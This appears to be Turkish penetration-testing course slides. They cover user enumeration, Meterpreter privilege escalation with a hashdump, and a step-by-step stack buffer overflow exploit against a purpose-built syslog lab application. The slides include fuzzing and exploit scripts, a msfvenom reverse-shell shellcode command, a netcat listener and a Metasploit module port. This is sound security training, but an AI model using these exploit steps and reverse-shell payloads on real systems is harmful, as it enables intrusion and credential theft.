"enum4linux" aracı "Null
Session"a imkan veren
sunucularda kullanıcı tespiti ve
parola politikası tespiti de
yapabilmektedir.
117. KULLANICI TESPİTİ
Null session’ı engellemek için gerekli olan restrictanonymous registry
değerinin “0” olması sayesinde bu bilgilere erişebiliyoruz. Güvenli bir
konfigürasyonda bu değerin “2” olması beklenirdi.
Null Session Enumeration
118. KULLANICI TESPİTİ
Daha evvel snmp-check
aracı ile SNMP servisinden
bilgi edinmiştik.
Bu örnekte Metasploit'un
auxilary modüllerinden
snmp_enum modülünü
kullandık.
SNMP Enumeration
119. KULLANICI TESPİTİ
Windows
SNMP Enumeration
Daha önce de gördüğümüz
gibi Windows sunucu
kullanıcı hesaplarının
SNMP üzerinden elde
edilmesine imkan verdi.
Hedef bilgisayarımız bir
Windows 7 idi.
120. KULLANICI TESPİTİ
Linux
SNMP Enumeration
Kali üzerinde aktif hale
getirdiğimiz SNMP servisi
de bilgi sızdırıyor, ancak
kullanıcı isimlerinin
sağlanması gibi bir
fonksiyonalitesi yok.
121. KULLANICI TESPİTİ
Arama motorlarından E-
Posta adresleri tespiti
internet'ten VPN, Terminal
Servisi, E-Posta Sunucu
erişimleri, sosyal
mühendislik amaçlarına
hizmet edebilir
E-posta Adreslerinin Tespiti
122. KULLANICI TESPİTİ
E-posta Adreslerinin Tespiti
Kuruma ait web siteleri spider
edilerek web sayfalarında geçen
e-posta adresleri aktif olarak
aranabilir.
Burp-Suite aktif veya pasif olarak
gözlemlediği e-posta adreslerini
raporlamaktadır.
124. KULLANICI TESPİTİ
Ofis dokümanları metadata'ları
internet'ten VPN, Terminal Servisi, E-
Posta Sunucu erişimleri, sosyal
mühendislik saldırılarına yardımcı olabilir
Ofis Metadata'larından Kullanıcı Adı Tespiti
Google'da "filetype" ve "site" anahtar
kelimeleri ile hedef daraltılarak inceleme
yapılabilir.
126. KULLANICI TESPİTİ
Öntanımlı Kullanıcılar
Hedef sunucu ve servis tespit edilebilirse
bu örnekte olduğu gibi öntanımlı parola
listelerinden veya ilgili sistemin
dokümantasyonu içinden öntanımlı
kullanıcılar aranabilir.
127. KULLANICI TESPİTİ
EGZERSİZ
• Kali üzerinde Nmap'in scriplerinin bulunduğu dizini tespit ediniz
ve içindeki script dosyalarının isimlerini inceleyiniz.
• oracle-enum-users.nse script'inin Oracle'ın öntanımlı portu
dışında bir portu kullanması halinde nasıl bir değişikliğe tabi
tutulması gerekebilir?
• Nmap script scan için gerekli kullanım kurallarını nmap'in man
page'inden inceleyiniz.
128. KULLANICI TESPİTİ
Web uygulamaları aracılığı ile kullanıcı sızdırma
Hedef kuruma ait bazı web uygulamalarının doğru ve hatalı kullanıcı kodları ile
yapılan erişim denemelerinde ayırt edici hata yanıtları döndürecek bir şekilde
kod geliştirilmeleri halinde (kimi durumlarda şans, kimi durumlarda tahmin
edilebilir kullanıcı kodlarının kullanıcılara atanması sayesinde) net olarak belli bir
kullanıcı kodunun geçerli olup olmadığını tespit edebiliriz. Bu tespit yapıldıktan
sonra da parola politikasına bağlı olarak kaba kuvvet saldırısı ile web
uygulamasına erişim gerçekleştirmemiz söz konusu olabilir.
SMTP enumeration
Açıkçası pek karşılaşılmasa da EXPN ve VRFY SMTP komutları ile ismini bizim
verdiğimiz kullanıcıların hedef sistem üzerinde tanımlı olup olmadıklarını tespit
edebiliriz. Ancak bu tür bir testte hedefi doğru belirleyebilmeniz için zaten
şüpheli öntanımlı kullanıcıları hedef almanız lazım. Bu durumda SMTP
enumeration yöntemi sadece basit bir doğrulama imkanı sunabilir.
Diğer Kullanıcı Tespit Yöntemleri
132. METASPLOIT KULLANIMI
search type:exploit allmedia
Senaryo 2'de manuel olarak
gerçekleştirdiğimiz adımları bu
defa Metasploit üzerinde
gerçekleştirmeyi deneyeceğiz.
134. METASPLOIT KULLANIMI
netdiscover -r 192.168.163.0/24
Konsol arayüzünün avantajlarından
bir tanesi de işletim sistemi
komutlarını konsoldan ayrılmadan
çalıştırabilmemizdir.
139. METERPRETER KULLANIMI
getsystem
Haklarımızı yükseltmek için
Meterpreter'in "getsystem" komutunu
kullanıyoruz
Ancak bu işlem de başarısız oluyor.
Bunun nedeni kullanılan payload'un
X86 mimarisi için olması da olabilir,
ancak exploit ettiğimiz Allmedia
sunucusu bir X86 uygulama olduğu için
bir X64 payload kullanamadık.
Denemek isterseniz bu bağlantı
üzerinden ayrı bir X64 exe payload
atılarak gözlemleyebilirsiniz.
140. METERPRETER KULLANIMI
run post/windows/gather/win_privs
win_privs post exploitation
modülünü kullanarak erişim
sağladığımız kullanıcının haklarını
ve hedef sunucuda UAC (User
Account Control) kontrolünün aktif
olup olmadığını kontrol ediyoruz.
Local Admin grubundayız,
ancak UAC'de aktif olduğu
için Admin haklarımızı
kullanamıyoruz.
142. POST EXPLOITATION VE YETKİ YÜKSELTME
Bu defa yetki yükseltme işlemimizi yine bir lokal exploit
kullanarak, ancak işlemimizi tamamen Metasploit
platformunun kolaylıklarını kullanarak gerçekleştireceğiz.
search local
143. POST EXPLOITATION VE YETKİ YÜKSELTME
Karşımıza çıkan Metasploit lokal exploit modüllerini sırası ile
mevcut Meterpreter oturumumuz üzerinden deneyebiliriz. Biz
daha önceden çalıştığını bildiğimiz bir lokal exploit'i kullanarak
ilerleyelim.
146. POST EXPLOITATION VE YETKİ YÜKSELTME
Meterpreter'in "hashdump" fonksiyonunu kullanabilmek için
mevcut payload'umuzu "windows/x64/meterpreter/reverse_tcp"
payload'u ile değiştirelim ve lokal exploit'umuzu tekrar çalıştıralım.
147. POST EXPLOITATION VE YETKİ YÜKSELTME
Yeni payload'umuzla bir
Meterpreter oturumu alabildik.
148. POST EXPLOITATION VE YETKİ YÜKSELTME
Bağlı olduğumuz kullanıcı adına
baktığımızda "SYSTEM" kullanıcı
olduğumuzu görebiliyoruz.
149. "hashdump" komutu ile sistem üzerindeki parola hash'lerini görüntüleyebildik.
Bu hash değerlerini daha sonra parola saldırısında kullanabiliriz.
HASHDUMP
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test:1000:aad3b435b51404eeaad3b435b51404ee:979357191cb4f445b47292af934fd2a7:::
152. STACK TABANLI BELLEK TAŞMASI
STACK’İN KULLANIM AMAÇLARI
• Fonksiyon lokal değişkenleri için hafıza alanı sağlaması
• Bir fonksiyon çağrıldığında çağrılan fonksiyondan çıkıldığında
dönülecek instruction adresinin saklanması
• Çağıran fonksiyonun stack taban adresinin saklanması
• Çağrılan fonksiyona aktarılacak parametrelerin saklanması
153. STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Yüksek Adres
Düşük Adres
Pseudo
Assembly
esp
154. STACK TABANLI BELLEK TAŞMASI
TEMEL X86 REGISTER’LARI
EIP
Bir sonra çalışacak olan instruction’ın adresi
EBP ve ESP
İçinde bulunulan fonksiyonun stack frame’inin taban ve tavan adreslerini
barındıran register’lar
EAX, EBX, ECX, EDX, ESI, EDI
Genel amaçlı register’lar
EFLAGS
Çeşitli instruction’lar tarafından etkilenen ve kullanılan bayrakları barındıran 32
bit’lik bir register
155. STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
call main
ya da
call 0x00412345
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
esp
Yüksek Adres
saklanan EIP
156. STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
push ebp
mov ebp, esp
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
esp
Yüksek Adres
saklanan EIP
saklanan EBPebp
157. STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
sub esp, 0x190
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
esp
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık alan
ebp
158. STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
push 0xA
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
esp
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık alan
0x0A000000
ebp
159. STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
call f1
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
esp
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık alan
0x0A000000
saklanan EIP (main)
ebp
160. STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
push ebp
mov ebp, esp
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
esp
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık alan
0x0A000000
saklanan EIP (main)
saklanan EBP (main)
ebp
161. STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
sub esp, 0x28
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
esp
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık
tanımsız alan
0x0A000000
saklanan EIP (main)
saklanan EBP (main)
ebp
0x28 byte’lık tanımsız
alan
162. STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
mov [ebp-4], 0x0
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık
tanımsız alan
0x0A000000
saklanan EIP (main)
saklanan EBP (main)
ebp
0x24 byte’lık tanımsız
alan
0x00000000
esp
163. STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
mov ebx, [ebp+8]
mov [ebp-8], ebx
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık
tanımsız alan
0x0A000000
saklanan EIP (main)
saklanan EBP (main)
0x20 byte’lık tanımsız
alan
0x00000000
0x0A000000
esp
ebp
164. STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
memset v.b.
Fonksiyonla
AAA...AAA
sabitinin ayrılan
hafıza alanına
yazılması
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık
tanımsız alan
0x0A000000
saklanan EIP (main)
saklanan EBP (main)
0x20 byte’lık tanımsız
alan
0x00000000
0x0A000000
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
esp
ebp
165. STACK TABANLI BELLEK TAŞMASI
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
xor eax, eax
add esp, 0x28
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık
tanımsız alan
0x0A000000
saklanan EIP (main)
saklanan EBP (main)
0x41414141
0x41414141
0x41414141
0x41414141
espebp
EAX = 0x00000000
166. STACK TABANLI BELLEK TAŞMASI
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
pop ebp
ret
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık
tanımsız alan
0x0A000000
0x41414141
0x41414141 esp
EBP = 0x41414141
EIP = 0x41414141
167. STACK TABANLI BELLEK TAŞMASI
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
????????
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık
tanımsız alan
0x0A000000
0x41414141
0x41414141 esp
EIP = 0x41414141
168. BUFFER OVERFLOW
• Bu bölümde Buffer Overflow yöntemi kullanarak
shell açma konusundan bahsedeceğiz. Shell açmak
için gerekli çalışmaları yaptıktan sonra
oluşturacağımızı exploiti Metasploit framework
üzerine bir modül olarak ekleyeceğiz.
• Adımlarımızı BTRisk tarafından bu konuya özel olarak
geliştirilen BTRSyslog uygulaması üzerinde
gerçekleştireceğiz.
169. UYGULAMA HAKKINDA
• BTRSyslog uygulaması UDP 514 portunu dinleyerek
kendisine gelen paketleri toplamaktadır. Bu nedenle
Buffer Overflow adımlarını izlerken bizde bu port ve
protokolden faydalanacağız.
171. KULLANILACAK ARAÇLAR
• Immunity Debugger
http://debugger.immunityinc.com/ID_register.py
• mona.py script'i
https://www.corelan.be/index.php/2011/07/14/mona-
py-the-manual/
Mona.py script'imizi Immunity Debugger üzerinde kullanılabilmesi için bu dosyayı şu dizine
kopyalamalıyız:
C:Program Files (x86)Immunity IncImmunity DebuggerPyCommands
172. UYGULAMANIN FUZZ EDİLMESİ
• BTRSyslog uygulaması UDP 514 portundan girdi
alıyor. Bu porta gönderilecek verileri üretmek ve
herhangi bir bellek taşması bulunup bulunmadığını
test etmek amacıyla bir fuzzing script'i kullanacağız.
173. FUZZ SCRIPT (PYTHON)
#!/usr/bin/python
import socket, time
buffer = ["A"]
counter = 10
while len(buffer) <=20:
buffer.append("A" * counter)
counter = counter + 10
for strings in buffer:
time.sleep(1)
print "Buffer : %s byte" % len(strings)
s=socket.socket (socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('192.168.2.7', 514))
s.send(strings)
s.close
Bu script ilk olarak tek bir "A" karakteri
gönderecek, sonraki pakette 10 adet "A" karakteri
ve daha sonraki her pakette de 10'ar tane daha
"A" karakteri ekleyerek veri gönderilecek. Yani:
"A"
"AAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
... şeklinde
174. FUZZING – IMMUNITY DEBUGGER
• Fuzzing işlemi sırasında hata alırsak hatanın alındığı
anda belleğin durumunu ve register'ların değerlerini
net olarak görebilmek için uygulamamıza Immunity
Debugger ile "attach" olacağız (veya BTRSyslog'u
doğrudan Immunity Debugger içinden başlatabiliriz).
• Debugger uygulamaya attach edildiğinde (veya
uygulama debugger ile başlatıldığında) debugger
uygulamayı bir software breakpoint ile durdurur.
Uygulamanın çalışmaya devam edebilmesi için "Run
program" tuşuna basılır.
175. • Uygulamamız belli bir veri uzunluğu aşıldığında
hata aldı ve kontrol debugger'a devredildi.
FUZZING – IMMUNITY DEBUGGER
Immunity Debugger'ın CPU view'ında sağ
üst köşede Register'ların değerlerini
görebiliriz. Buraya göz attığımızda hata
alındığı anda EIP değerinin 0x41414141
olduğunu görüyoruz.
176. • 0x41 değeri "A" karakterimizin ASCII Hex karşılığıdır.
• EIP değerini bizim gönderdiğimiz bir veri ile
ezebilmek demek uygulama akışına müdahale imkanı
elde ettiğimiz anlamına gelmektedir.
• EIP register'ına yazacağımız değerin anlamlı bir adres
olabilmesi için başarmamız gereken ilk adım EIP
değerine müdahale edebildiğimiz 4 byte'lık (yani 32
bit'lik) veri alanının gönderdiğimiz veri (payload)
içinde tam olarak nerede olduğunu tespit etmektir.
FUZZING – IMMUNITY DEBUGGER
177. EIP REGISTER KONTROLÜ
• EIP registerına müdahale edebildiğimiz offset değerini
tespit edebilmek için metasploit framework içerisinde
bulunan "pattern_create.rb" scriptini kullanacağız.
• Bu script ile 200 byte uzunluğunda bir pattern
oluşturacağız.
180. Register'lar
EIP = 0x65413565Instruction'lar
EIP REGISTER KONTROLÜ
Stack alanı
Pattern BTRSyslog sunucusuna gönderildiğinde yine hata aldık, ancak bu defa
EIP değeri 0x65413565 oldu. Şimdi sıra bu verinin tam olarak hangi offset'te
yer aldığını bulmaya geldir.
184. • Scriptimiz çalıştıktan sonra EIP register'ının
0X42424242 değerleri ile ezildiğini görüyoruz. Bu
durumda EIP offset değerimizin doğruluğundan emin
olabiliriz.
EIP REGISTER KONTROLÜ
185. STACK ALANI
• EIP register değerini manipüle ettikten sonra sıra
belleğe kendi kodumuzu yazmaya geldi. İşe yarar bir
shellcode'un boyutu 350-400 byte civarında olacaktır.
• EIP değerini ezmeden önce kullandığımız alan 136
byte olduğundan tercihimiz EIP register'ının ezildiği
noktadan sonra shellcode'umuzu yerleştirmek olabilir.
• Ancak shellcode'umuzu yazdığımızda Stack alanının
başlangıç sınırını aşmayacağımızdan emin olmamız
lazım. Aksi taktirde payload'umuz yazılırken hata alırız
ve daha kodumuz çalışmadan uygulama sonlanır.
186. #!/usr/bin/python
import socket
buffer = "A" * 136 + "B" * 4 + "C" * 460
s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514))
s.send(buffer)
s.close
EIP'yi ezdiğimiz alandan sonra
yeterli alan bulunup
bulunmadığını test etmek için
payload'umuza 460 byte'lık bir
değer ekleyelim.
STACK ALANI
187. Bu noktada 2 iyi haberimiz var:
(1) Hata alındığında ESP register'ı
payload'umuzun bir bölümüne işaret
ediyor.
(2) 460 byte'lık veriyi stack'e yazabildik ve
stack limitini aşmadık.
STACK ALANI
188. Register'larımızdan birisinin payload'umuza işaret etmesi
önemli çünkü:
• Modern işletim sistemlerinde ASLR
uygulandığından stack alanımızın adresi her
yüklemede değişecektir. Bu yüzden payload'umuzu
çalıştırabilmek için STACK adresine güvenemeyiz.
• Ancak uygulamanın bellek alanına yüklenen ve
ASLR uygulanmayan bir modülün (yani bir başka
DLL veya EXE imajının) içinde JMP ESP, CALL ESP,
v.b. instruction'lar varsa bu modülün hafızaya
yerleştiği alan her defasında sabit olacağından bu
modülleri atlama noktası olarak kullanabiliriz.
STACK ALANI
189. • Gerçek payload'umuzu oluşturmaya başlamadan önce
payload'umuzun belleğe yazılmasına engel olabilecek
karakterlerin (bad chars) tespit edilmesi
gerekmektedir.
• Bu karakterlerin en tipik olanı strcpy() gibi
fonksiyonların belleğe yazmasına son vermesine
neden olan "0x00" yani null byte değeridir. Ancak
bunun dışında farklı değerler de soruna yol açabilir.
• Bu yüzden daha fazla ilerlemeden önce kötü
karakterleri tespit etmemizde fayda var.
KÖTÜ KARAKTERLER
190. !mona config -set workingfolder c:logs%p
Kötü karakterleri tespit etmek için manuel yöntemi kullanabiliriz.
Ancak "mona.py" script'inden faydalanacağız. Bunun için öncelikle
"mona"nın çıktılarını yazabilmesi için bir dizin belirlememiz lazım.
KÖTÜ KARAKTERLER
191. !mona bytearray -b "x00"
"mona" ile "x00" hariç tüm byte'ları içerecek bir bytearray
oluşturuyoruz. "mona" bir "txt" bir de "bin" dosyası oluşturuyor.
KÖTÜ KARAKTERLER
192. "bin" dosyası "mona" ile
bellek karşılaştırması için
kullanacağımız dosya
"txt" dosyası ise exploit
kodumuz içinde
kullanılabilecek formatta veri
içeriyor
KÖTÜ KARAKTERLER
194. KÖTÜ KARAKTERLER
ESP register değerinin üzerinde sağ
klikleyerek "Follow in Dump"
seçeneğini seçiyoruz ve sol altta bu
alandaki verileri görebiliyoruz.
"x09" byte'ından sonraki kesinti
hemen göze çarpıyor. Ancak biz kötü
karakterlerin tespitinde mona'dan
da faydalanmayı göreceğiz.
195. KÖTÜ KARAKTERLER
!mona compare -f C:logsBTRSyslogbytearray.bin -a 06C3F450
"mona"nın compare komutuyla
oluşturduğumuz binary dosya ile
bellek'te 0x06C3F450 adresinden
başlayan alanı karşılaştırıyoruz.
Mona bize 9. byte'tan sonra bozulma
olduğunu x00 ve x0a karakterlerinin
kötü karakter olduklarını söylüyor.
196. !mona bytearray -b "x00x0a"
"x0a" karakterini kötü karakter olarak belirlediğimiz için "mona" ile "x00"
ve "x0a" hariç tüm byte'ları içerecek yeni bir bytearray oluşturuyoruz.
KÖTÜ KARAKTERLER
198. KÖTÜ KARAKTERLER
Yeni payload'umuzu denediğimizde
ESP değerine tıklayarak "Follow in
Stack" seçeneğini seçerek tekrar
ESP'nin işaret ettiği bellek
bölümündeki verileri aşağıda
görebiliriz.
199. KÖTÜ KARAKTERLER
!mona compare -f C:logsBTRSyslogbytearray.bin -a 06A5F500
Mona "x0d" byte'ının da kötü
karakter olduğunu belirledi.
200. !mona bytearray -b "x00x0ax0d"
"x0d" karakterini de kötü karakter olarak tanımlayarak yeni bir bytearray
oluşturuyoruz.
KÖTÜ KARAKTERLER
202. KÖTÜ KARAKTERLER
"x00", "x0a" ve "x0d"
karakterlerini içermeyen byte array'i
sunucuya gönderdiğimizde stack
alanına yazılan veriler aşağıdaki gibi
olacaktır.
Şimdi tekrar bellek ve bytearray.bin
dosyasının karşılaştırmasını yapalım.
203. KÖTÜ KARAKTERLER
!mona compare -f C:logsBTRSyslogbytearray.bin -a 06AAF900
Son byte array'imizde herhangi bir
kötü karakter yok, tüm payload'umuz
belleğe eksiksiz yazıldı.
204. • Uygulama her belleğe yüklendiğinde STACK adresi
değiştiğinden EIP değerini sabit bir STACK adresi ile
ezemiyoruz.
• Bu nedenle BTRSyslog proses'inin adres alanında
yüklü ancak ASLR desteği bulunmayan bir modül
içinde JMP ESP ve benzeri bir instruction bulmalı ve
EIP değerini bu instruction'ın adresi olarak
belirlemeliyiz.
RETURN ADDRESS – JMP ESP
205. !mona modules
ASLR desteği olmayan modüllere göz
attığımızda BTRSysdll.dll modülünün
aradığımız koşula uygun olduğunu
görebiliyoruz.
RETURN ADDRESS – JMP ESP
206. !mona find -type instr -s "jmp esp" -m BTRSysdll.dll
"mona" bize aradığımız instruction'ın adresini bulmamızda da yardımcı oluyor.
Normalde bu instruction'ın opcode'larını bularak binary bir arama yapmamız gerekirdi.
Ancak "mona" bizim için bunu bile kendisi yapıyor.
0x5060103b
RETURN ADDRESS – JMP ESP
207. • Bu adreste hangi instruction'ların bulunduğunu
görmek istersek Go To Address butonuna
tıklayarak ilgili adrese gidebiliriz.
RETURN ADDRESS – JMP ESP
209. • "JMP ESP" adresini tespit ettiğimize göre artık
uygulama akışına müdahale edebiliriz.
• Payload'umuzun EIP register’ını ezdiği noktaya "JMP
ESP" instruction'ının adresini yazarak uygulamayı bu
noktaya yönlendireceğiz.
• Buradaki dikkat edilmesi gereken nokta X86 mimarisi
Little Endian veri formatını kullandığı için adresimizi
payload'umuzun içine Little Endian formatında
yazmamız gerektiğidir.
0x5060103b > Little Endian x3bx10x60x50
SHELLCODE
211. • "JMP ESP" işlemi gerçekleştiğinde "CC" karakterlerinin
olduğu alana atlayacağız. Bu adımı gözlemlemek ve
uygulama akışını payload'umuza yönlendirdiğimizden
emin olabilmek için debugger'ımızda atlama
adresimize "Breakpoint" koyabiliriz.
• Bunu yapmadığımız taktirde uygulamamız hata alarak
sonlanacak, çünkü yüklediğimiz payload işe yarar bir
payload değil.
SHELLCODE
212. Immunity debugger'ın alt
kısmında bulunan komut
satırından breakpoint
tanımlayabilirsiniz.
"b" düğmesine tıklayarak da
breakpoint listesini
görüntüleyebilirsiniz.
SHELLCODE
215. • Breakpoint koymakla uğraşmak yerine şu şekilde de
payload'umuza atlandığından emin olabilirdik.
• "0xCC" değeri "INT 3", yani software breakpoint
instruction'ı anlamına gelir. ASCII C (yani "0x43")
karakterlerini yazdığımız alana bu değeri yazsaydık
uygulama payload'umuza atladığı anda breakpoint
uygulanabilirdi.
SHELLCODE
216. #!/usr/bin/python
import socket
buffer = "A" * 136 + "x3bx10x60x50" + "xCC" * 460
s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514))
s.send(buffer)
s.close 0x43 değerine sahip olan ASCII C
karakteri yerine Hex "CC"
değerini yazıyoruz.
Böylece uygulama akışı bu alana
yönlendiğinde breakpoint işlemi
gerçekleşecek.
SHELLCODE
218. • Artık shellcode'umuzu üreterek payload'umuz içinde
uygun yere yerleştirebiliriz.
• Hedef sunucudan reverse TCP shell almak için
msfvenom'un üreteceği bir shellcode'u kullanabiliriz.
• Üreteceğimiz shellcode'un içinde kötü karakter
bulunmaması için "-b" opsiyonunu kullanabiliriz.
msfvenom -p windows/shell_reverse_tcp
LHOST=192.168.x.x LPORT=4445 -e
x86/shikata_ga_nai -f c -b "x00x0ax0d"
SHELLCODE
220. • Msfvenom yaklaşık 350 byte uzunluğunda bir
shellcode oluşturdu.
• Bu shellcode’u daha önce stack alanına yazdırdığımız
‘C’ karakterlerinin yerini alacak şekilde scriptimizi
revize ediyoruz.
• Oluşturduğumuz shellcode çalışırken belirtilen stack
alanının ilk bir kaç bytelık bölümünü eziyor. Bu
durumun shellcode'u bozmasını engellemek için
shellcode'umuzun önünde ("0x90") NOP
instruction'larından bir tampon alan oluşturacağız.
• NOP instruction'ını etkisiz bir komut olarak
düşünebilirsiniz (XCHG EAX, EAX).
SHELLCODE
222. • Son adım olarak Kali üzerinde NetCat ile TCP 4445
portundan dinleyecek bir servis başlatacağız.
• Bu hazırlıktan sonra exploit kodumuzu çalıştırarak
reverse shell alabiliriz.
# nc -lvp 4445
REVERSE SHELL
224. • Mevcut açıklıktan daha kolay faydalanabilmek için,
oluşturduğumuz exploit kodunu metasploit üzerine
ekleyeceğiz.
• Bu işlem için öncelikle örnek bir metasploit exploit
kodu bulalım.
• Metasploit içerisinde bulunan kodlar Ruby dile ile
yazılmış olup, metasploit tarafından özel olarak
hazırlanmış kütüphaneleri kullanmaktadırlar.
METASPLOIT ÜZERİNE EXPLOIT EKLEME
226. btrsyslog.rb
136 byte'lık random karakter, ancak kötü karakter içermemeli
Handler'ı başlatıyoruz
JMP ESP atlama adresi
16 adet NOP instruction'ı
PAYLOAD
Payload'u gönderiyoruz
METASPLOIT ÜZERİNE EXPLOIT EKLEME
227. • Scriptimiz btrsyslog.rb ismiyle kaydediyoruz ve
/usr/share/metasploit-
framework/modules/exploits/windows/misc dizinine
kopyalıyoruz.
• Msfconsole komutu ile metasploit framework’u
çalıştırıyoruz.
• Kodumuzda herhangi bir hata olması durumda
msfconsole bizi uyaracaktır.
/usr/share/metasploit-
framework/modules/exploits/windows/misc/ btrsyslog.rb
METASPLOIT ÜZERİNE EXPLOIT EKLEME
229. Eğer script'imiz Metasploit'in kurallarına
uygun değilse yukarıdaki gibi bir uyarı
görebilirsiniz. Bu durumda script'iniz
yüklenmeyecektir.
METASPLOIT ÜZERİNE EXPLOIT EKLEME
231. "show options" komutu ile script'imizin
belirlenmesi gereken parametrelerini görelim
METASPLOIT ÜZERİNE EXPLOIT EKLEME
232. RHOST parametresini hedef sunucumuz olarak
belirledikten sonra öntanımlı payload olan meterpreter
reverse TCP payload'u ile erişim sağlayabiliriz
METASPLOIT ÜZERİNE EXPLOIT EKLEME
233. • Kullandığımız shellcode hazır bir shellcode, dolayısıyla
shellcode'u belleğe yazma alanımız kısıtlıysa veya
güvenlik çözümlerinden kaçınabilmek istiyorsak
shellcode geliştirme yeteneğimizin bulunması gerekir.
• Shellcode derlenen bir kodun sahip olduğu pekçok
avantaja sahip olmayıp belleğin hangi noktasında
kendisini bulursa bulsun yolunu bulabileceği yeteneğe
sahip olmak zorundadır. Bu da shellcode geliştirecek
kişinin Assembly dilini bilmesinin yanı sıra bir
uygulama belleğe yüklendiğinde proses ile ilgili oluşan
belli veri yapılarını bilmesini gerektirir.
